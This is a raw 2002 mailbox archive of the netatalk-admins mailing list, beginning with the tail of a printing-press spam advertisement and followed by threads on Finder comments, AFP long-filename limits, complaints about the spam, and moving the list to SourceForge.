&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HEIDELBERG CYLINDER units, Avail too.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
<B>FOLDERS</B>: MBO, O+M, BAUM, WHAT SIZE DO YOU NEED?<BR>
<BR>
<B>LARGE PRESSES</B>:<BR>
<BR>
<B>AKIYAMA</B>:&nbsp;&nbsp;&nbsp; 2,4,and 6 color Presses. 26" to 40" many&nbsp; to choose from.<B><U> SPECIAL: </U>440 UNDER POWER $65,000</B><BR>
<BR>
<B>HEIDELBERG</B>: 1 color GTO'S&nbsp;&nbsp; 2 color GTO'S, one @$39,000&nbsp; Both in Great Condition&nbsp;&nbsp; Also have 4,5,6 color GTO'S, AS LOW AS $95,000&nbsp; <BR>
<B><U>SPECIAL</U>: </FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">4C GTO 46 LOW MIL,$81,000 #163</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"></B>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
<B>HEIDELBERG:</B> 1 color 36", 40" units&nbsp;&nbsp;&nbsp; 4,5,and 6 color units&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mo's up to 40" avail.&nbsp;&nbsp;&nbsp;&nbsp; Many to choose from.<BR>
"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "&nbsp; <B>KORDS</B>- TWO UNIT IN EXCELLENT CONDITION, $12,000 EACH.<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><B><U>SPECIAL:</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"></U> HEIDELBERG MO, 5 COLOR,LOW PILE, LOW IMP, $130,000<BR>
</B><BR>
IF WE CAN BE OF HELP TO YOU?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
PLEASE FAX OR EMAIL US WITH YOUR EQUIPMENT NEEDS OR&nbsp;&nbsp; EQUIPMENT YOU WISH TO SELL.<BR>
INCLUDE AS MUCH INFO AS POSSIBLE,<BR>
<U>PRICE</U>,<U>YEAR</U>,<U>SR#</U>,<U>DESCRIPTION</U>,<BR>
<U>CONDITION</U>,<U>UNDER POWER</U>,<BR>
<U>YES</U> OR <U>NO</U>..<BR>
<BR>
Best Regards,<BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=1 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">DANE GODWIN<BR>
TINA VERMUELE,<B> Equipment Locator</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"></B><BR>
<BR>
FIRST CLASS PRINTING EQUIPMENT<BR>
12407 EAST SLAUSON AVE UNIT # O<BR>
WHITTIER, CA 90606<BR>
TELE: 1-562-698-0787<BR>
FAX # 1-562-698-3480<BR>
EMAIL: <B>firstclassequip@aol.com</B><BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>
</FONT></HTML>
--part1_33.22bcb7f5.29a55711_boundary--

From netatalk.administrators-errors@umich.edu  Wed Feb 20 15:00:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA24418
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 15:00:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA07288
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 15:00:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA07264
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 15:00:07 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA07189
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 15:00:05 -0500 (EST)
Received: from host213-122-117-124.in-addr.btopenworld.com ([213.122.117.124] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16dcuJ-0002uG-01
	for netatalk-admins@umich.edu; Wed, 20 Feb 2002 20:00:03 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id TAA07172
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 19:44:49 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100309b899ac79e3ab@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Wed, 20 Feb 2002 19:44:48 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Finder comments
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

It has recently come to my attention the ethereal nature of Finder 
comments, i.e. I just lost a whole load of data, I guess through 
rebuilding the desktop.

It occurs to me that this is far less likely to happen on a Netatalk 
volume. Just how secure are comments on a Netatalk volume, what would 
cause them to be lost?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Wed Feb 20 16:10:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA28557
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 16:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA23478
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 16:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA23462
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 16:10:16 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA23412
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 16:10:14 -0500 (EST)
Received: from host213-122-60-150.in-addr.btopenworld.com ([213.122.60.150] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16de0B-0007hO-00
	for netatalk-admins@umich.edu; Wed, 20 Feb 2002 21:10:11 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id UAA07402
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 20:46:30 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510030bb899ba351e29@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Wed, 20 Feb 2002 20:46:29 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: long filenames
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I can't check this at the moment, so could someone possible tell me 
if a MacOS X client can handle filenames longer than 31 chars on a 
Netatalk volume?

I can see these long names in Windows via samba and of course also on 
the linux server itself, but on OS 9 client files with names longer 
than 31 are simply not shown, not even in the count, it's as if they 
don't exist. Am I correct that OSX AppleShare clients WILL work with 
these long filenames, or is it a limitation built into Netatalk?

Thanks.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Wed Feb 20 16:16:44 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA29019
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 16:16:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA19641
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 16:16:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA19633
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 16:16:43 -0500 (EST)
Received: from marin.marin.k12.ca.us (marin.marin.k12.ca.us [199.88.112.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA19618
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 16:16:42 -0500 (EST)
Received: from [10.102.64.5] [64.171.173.5] by marin.marin.k12.ca.us with ESMTP
  (SMTPD32-6.06) id A013FECB005E; Wed, 20 Feb 2002 13:07:31 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.3
Date: Wed, 20 Feb 2002 13:16:36 -0800
Subject: First Class
From: Isaac Ordonez <iordonez@marin.k12.ca.us>
To: nettalk <netatalk-admins@umich.edu>
Message-ID: <B8995234.367C%iordonez@marin.k12.ca.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Ok, I'm really getting sick of this Junk Mail sent from First Class
Equipment (firstclassequip@aol.com) being sent out to the netatalk-admin
mailing list.  If I had a few thousand dollars I would not buy a press
printer and if I did it would be for a door stop.  90% of the time it's not
filtered into the mailing list and ends up in my inbox.  If any of the
admins are listening please block that address.

Thanks,

Isaac Ordonez
Technology Support Specialist II
San Rafael City Schools


From netatalk.administrators-errors@umich.edu  Wed Feb 20 16:48:48 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA00754
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 16:48:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA22129
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 16:48:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA22120
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 16:48:48 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA22099
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 16:48:47 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1KLmdi05281;
	Wed, 20 Feb 2002 13:48:39 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 20 Feb 2002 13:48:30 -0800
Subject: Re: First Class
From: Steve Freitas <sflist@ihonk.com>
To: Isaac Ordonez <iordonez@marin.k12.ca.us>,
        nettalk <netatalk-admins@umich.edu>
Message-ID: <B89959AD.B4D8%sflist@ihonk.com>
In-Reply-To: <B8995234.367C%iordonez@marin.k12.ca.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I just called them, asked for a removal, and told them that their email
address supplier is giving them worthless information. Hopefully it'll stop.

Steve

> From: Isaac Ordonez <iordonez@marin.k12.ca.us>
> Date: Wed, 20 Feb 2002 13:16:36 -0800
> To: nettalk <netatalk-admins@umich.edu>
> Subject: First Class
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 20 Feb 2002 16:19:21 -0500 (EST)
> 
> Ok, I'm really getting sick of this Junk Mail sent from First Class
> Equipment (firstclassequip@aol.com) being sent out to the netatalk-admin
> mailing list.  If I had a few thousand dollars I would not buy a press
> printer and if I did it would be for a door stop.  90% of the time it's not
> filtered into the mailing list and ends up in my inbox.  If any of the
> admins are listening please block that address.
> 
> Thanks,
> 
> Isaac Ordonez
> Technology Support Specialist II
> San Rafael City Schools
> 
> 


From netatalk.administrators-errors@umich.edu  Wed Feb 20 17:06:29 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA01862
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 17:06:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA09526
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 17:06:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA09504
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 17:06:28 -0500 (EST)
Received: from florence.viz.com (dsl081-250-098.sfo1.dsl.speakeasy.net [64.81.250.98])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA09460
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 17:06:27 -0500 (EST)
Received: from deanix.viz.com (deanix.viz.com [192.168.1.220])
	by florence.viz.com (Postfix) with ESMTP id 6700EB59E7
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 13:56:56 -0800 (PST)
Subject: Re: First Class
From: Deano! <deano@viz.com>
To: nettalk <netatalk-admins@umich.edu>
In-Reply-To: <B89959AD.B4D8%sflist@ihonk.com>
References: <B89959AD.B4D8%sflist@ihonk.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.2 
Date: 20 Feb 2002 14:03:20 -0800
Message-Id: <1014242600.13160.2829.camel@deanix.viz.com>
Mime-Version: 1.0

On Wed, 2002-02-20 at 13:48, Steve Freitas wrote:
> I just called them, asked for a removal, and told them that their email
> address supplier is giving them worthless information. Hopefully it'll stop.
> 
Why not just prohibit non-list members from posting to the list?

-deano



From netatalk.administrators-errors@umich.edu  Wed Feb 20 17:22:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA03044
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 17:22:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA17838
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 17:22:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA17830
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 17:22:57 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA17798
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 17:22:56 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1KMMmi05312;
	Wed, 20 Feb 2002 14:22:48 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 20 Feb 2002 14:22:46 -0800
Subject: Re: First Class
From: Steve Freitas <sflist@ihonk.com>
To: Deano! <deano@viz.com>, nettalk <netatalk-admins@umich.edu>
Message-ID: <B89961B6.B4DD%sflist@ihonk.com>
In-Reply-To: <1014242600.13160.2829.camel@deanix.viz.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

>> I just called them, asked for a removal, and told them that their email
>> address supplier is giving them worthless information. Hopefully it'll stop.
>> 
> Why not just prohibit non-list members from posting to the list?

Because it's a pain if one doesn't have access to the proper email account
when one wants to post. ("One one one one...") I end up doing this
accidentally all the time... :-)

Besides, it just happened once, and I think I've easily resolved it, so no
reason to cramp anyone's style.

Steve


From netatalk.administrators-errors@umich.edu  Wed Feb 20 18:05:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA05013
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 18:05:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA00130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 18:05:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA00109
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 18:05:25 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA00057
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 18:05:23 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id AAA28478;
	Thu, 21 Feb 2002 00:32:11 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 21 Feb 2002 00:05:54 +0100
Subject: Re: long filenames
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B899EA62.1C509%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p0510030bb899ba351e29@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 20 Feb 2002 20:46:29 +0000, Ken Gillett wrote:

> Am I correct that OSX AppleShare clients WILL work with these long filenames,

Yes. The AFP client of MOSX speaks AFP 3.0.

> or is it a limitation built into Netatalk?

It's a limitation of AFP versions < 3.x

Netatalk is implementing AFP 2.x correctly, so longer filenames won't be
available for AFP clients as they could cause buffer overflows.

M$ is violating the specs with Win2000's Services for Macintosh, that
implement longer filenames even for AFP 2.x clients (the same old story with
every protocol, M$ keeps its hands on)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 20 18:15:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA06499
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 18:15:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA00623
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 18:15:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA00602
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 18:15:44 -0500 (EST)
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA00574
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 18:15:43 -0500 (EST)
Received: from adsl-242-15.ns.itd.umich.edu (adsl-242-15.ns.itd.umich.edu [141.213.242.15])
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id SAA09559
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 18:15:42 -0500 (EST)
From: wes@umich.edu
Date: Wed, 20 Feb 2002 18:15:42 -0500
To: netatalk-admins@umich.edu
Subject: netatalk-admins@umich.edu
Message-ID: <388633.1014228942@adsl-242-15.ns.itd.umich.edu>
In-Reply-To: <B89961B6.B4DD%sflist@ihonk.com>
References:  <B89961B6.B4DD%sflist@ihonk.com>
X-Mailer: Mulberry/2.1.2 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Speaking of pains, is there someone who wants to run the netatalk-admins 
mailing list.  University of Michigan is less and less interested in doing 
so.  netatalk-admins@umich.edu can point there, and netatalk.org can be 
MXed there.

:wes

BTW, I pointed netatalk.org to netatalk.sourceforge.net.


From netatalk.administrators-errors@umich.edu  Wed Feb 20 20:17:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA13689
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 20:17:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA15295
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 20:17:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA15277
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 20:17:32 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA15231; Wed, 20 Feb 2002 20:17:31 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1L1HHi05390;
	Wed, 20 Feb 2002 17:17:18 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 20 Feb 2002 17:17:24 -0800
Subject: Re: netatalk-admins@umich.edu
From: Steve Freitas <sflist@ihonk.com>
To: <wes@umich.edu>, <netatalk-admins@umich.edu>
Message-ID: <B8998AA4.B4EA%sflist@ihonk.com>
In-Reply-To: <388633.1014228942@adsl-242-15.ns.itd.umich.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

We might as well just set up a netatalk-admins list on sourceforge.net and
do it from there, no?

Steve

> From: wes@umich.edu
> Date: Wed, 20 Feb 2002 18:15:42 -0500
> To: netatalk-admins@umich.edu
> Subject: netatalk-admins@umich.edu
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 20 Feb 2002 18:17:18 -0500 (EST)
> 
> Speaking of pains, is there someone who wants to run the netatalk-admins
> mailing list.  University of Michigan is less and less interested in doing
> so.  netatalk-admins@umich.edu can point there, and netatalk.org can be
> MXed there.
> 
> :wes
> 
> BTW, I pointed netatalk.org to netatalk.sourceforge.net.
> 
> 


From netatalk.administrators-errors@umich.edu  Wed Feb 20 22:13:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA18328
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 22:13:51 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1L3Dow11925
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 22:13:50 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1L3DoR11919
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 22:13:50 -0500 (EST)
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1L3Dn111906
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 22:13:49 -0500 (EST)
Received: from adsl-242-15.ns.itd.umich.edu (adsl-242-15.ns.itd.umich.edu [141.213.242.15])
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id WAA13907; Wed, 20 Feb 2002 22:13:37 -0500 (EST)
From: wes@umich.edu
Date: Wed, 20 Feb 2002 22:13:37 -0500
To: Steve Freitas <sflist@ihonk.com>
cc: netatalk-admins@umich.edu
Subject: Re: netatalk-admins@umich.edu
Message-ID: <598740.1014243217@adsl-242-15.ns.itd.umich.edu>
In-Reply-To: <B8998AA4.B4EA%sflist@ihonk.com>
References:  <B8998AA4.B4EA%sflist@ihonk.com>
X-Mailer: Mulberry/2.1.2 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

That would be great.  Who would set that up?  I'd also think it was really 
super if the only mention of netatalk@umich.edu was in the COPYRIGHT file, 
not in, e.g. the BUGS file.

:wes

On 2/20/02 5:17 PM -0800 sflist@ihonk.com wrote:

> We might as well just set up a netatalk-admins list on sourceforge.net and
> do it from there, no?
>
> Steve
>
>> From: wes@umich.edu
>> Date: Wed, 20 Feb 2002 18:15:42 -0500
>> To: netatalk-admins@umich.edu
>> Subject: netatalk-admins@umich.edu
>> Resent-From: netatalk-admins@umich.edu
>> Resent-Date: Wed, 20 Feb 2002 18:17:18 -0500 (EST)
>>
>> Speaking of pains, is there someone who wants to run the netatalk-admins
>> mailing list.  University of Michigan is less and less interested in
>> doing so.  netatalk-admins@umich.edu can point there, and netatalk.org
>> can be MXed there.
>>
>> :wes
>>
>> BTW, I pointed netatalk.org to netatalk.sourceforge.net.
>>
>>



From netatalk.administrators-errors@umich.edu  Thu Feb 21 05:05:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA06479
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 21 Feb 2002 05:05:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA20900
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 21 Feb 2002 05:05:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA20894
	for netatalk.administrators-members@umich.edu; Thu, 21 Feb 2002 05:05:09 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA20878
	for <netatalk-admins@umich.edu>; Thu, 21 Feb 2002 05:05:08 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1LA56rR009805
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
